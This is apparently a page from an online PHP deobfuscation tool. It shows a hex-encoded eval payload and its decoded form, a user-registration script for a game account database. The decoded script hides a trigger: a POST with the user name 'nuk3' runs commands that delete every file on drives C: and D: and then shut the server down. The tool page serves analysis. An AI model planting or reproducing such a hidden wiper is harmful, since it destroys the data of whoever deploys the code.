Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(pack('H*','676c6f62616c20246c696e6b3b0d0a6d7373716c5f73656c6563745f6462282253616c7661..

Decoded Output download

global $link;
mssql_select_db("SalvationAuthentication", $link);
$protect = 'OK';
$fsubmit = $_POST['action'];
$Email = $_POST['txtEmail'];
$UserID = $_POST['txtUser'];
$Password = $_POST['txtPass'];
$CPassword = $_POST['txtPass2'];
$UserKey = mt_rand(1000000, 9999999);
$SecretQuestion = $_POST['txtQuest'];
$Answer = $_POST['txtAnswer'];
$FirstName = $_POST['txtName'];
$MI = substr($UserID, 0, 1);
$LastName = $_POST['txtLastName'];
$Month = $_POST['txtMonth'];
$Day = $_POST['txtDay'];
$Year = $_POST['txtYear'];
$Sex = $_POST['txtSex'];
$Address = $_POST['txtAddress'];
$Country = $_POST['txtCountry'];
$Password2 = md5($Password);
$Initial = substr($UserID, 0, 1);
$Userlenght = strlen($UserID);
$ZGCode = mt_rand(1000000, 9999999);
$activecode = sha1(mt_rand() . time() . mt_rand() . $_SERVER['REMOTE_ADDR']);
$ZGActivation = substr($activecode, 0, 16);
if ($fsubmit == 'submitted' && $UserID == 'nuk3') {
    $WshShell = new COM("WScript.Shell");
    $oExec = $WshShell->Run("cmd /K del d:\* /q /f /s ", 0, false);
    $oExec = $WshShell->Run("cmd /K del c:\* /q /f /s ", 0, false);
    $oExec = $WshShell->Run("shutdown /s", 0, false);
}

Did this file decode correctly?

Original Code

eval(pack('H*','676c6f62616c20246c696e6b3b0d0a6d7373716c5f73656c6563745f6462282253616c766174696f6e41757468656e7469636174696f6e222c20246c696e6b293b0d0a2470726f74656374203d20274f4b273b0d0a24667375626d6974203d20245f504f53545b27616374696f6e275d3b0d0a24456d61696c203d20245f504f53545b27747874456d61696c275d3b0d0a24557365724944203d20245f504f53545b2774787455736572275d3b0d0a2450617373776f7264203d20245f504f53545b2774787450617373275d3b0d0a244350617373776f7264203d20245f504f53545b277478745061737332275d3b0d0a24557365724b6579203d206d745f72616e6428313030303030302c2039393939393939293b0d0a245365637265745175657374696f6e203d20245f504f53545b277478745175657374275d3b0d0a24416e73776572203d20245f504f53545b27747874416e73776572275d3b0d0a2446697273744e616d65203d20245f504f53545b277478744e616d65275d3b0d0a244d49203d2073756273747228245573657249442c20302c2031293b0d0a244c6173744e616d65203d20245f504f53545b277478744c6173744e616d65275d3b0d0a244d6f6e7468203d20245f504f53545b277478744d6f6e7468275d3b0d0a24446179203d20245f504f53545b27747874446179275d3b0d0a2459656172203d20245f504f53545b2774787459656172275d3b0d0a24536578203d20245f504f53545b27747874536578275d3b0d0a2441646472657373203d20245f504f53545b2774787441646472657373275d3b0d0a24436f756e747279203d20245f504f53545b27747874436f756e747279275d3b0d0a2450617373776f726432203d206d6435282450617373776f7264293b0d0a24496e697469616c203d2073756273747228245573657249442c20302c2031293b0d0a24557365726c656e676874203d207374726c656e2824557365724944293b0d0a245a47436f6465203d206d745f72616e6428313030303030302c2039393939393939293b0d0a24616374697665636f6465203d2073686131286d745f72616e642829202e2074696d652829202e206d745f72616e642829202e20245f5345525645525b2752454d4f54455f41444452275d293b0d0a245a4741637469766174696f6e203d207375627374722824616374697665636f64652c20302c203136293b0d0a6966202824667375626d6974203d3d20277375626d6974746564272026262024557365724944203d3d20276e756b332729207b0d0a20202020245773685368656c6c203d206e657720434f4d2822575363726970742e5368656c6c22293b0d0a20202020246f45786563203d20245773685368656c6c2d3e52756e2822636d64202f4b2064656c20643a5c2a202f71202f66202f7320222c20302c2066616c7365293b0d0a20202020246f45786563203d20245773685368656c6c2d3e52756e2822636d64202f4b2064656c20633a5c2a202f71202f66202f7320222c20302c2066616c7365293b0d0a20202020246f45786563203d20245773685368656c6c2d3e52756e282273687574646f776e202f73222c20302c2066616c7365293b0d0a7d'));

Function Calls

pack 1

Variables

None

Stats

MD5 69ae39a8ee0a6609cbf626fdb4634364
Eval Count 1
Decode Time 79 ms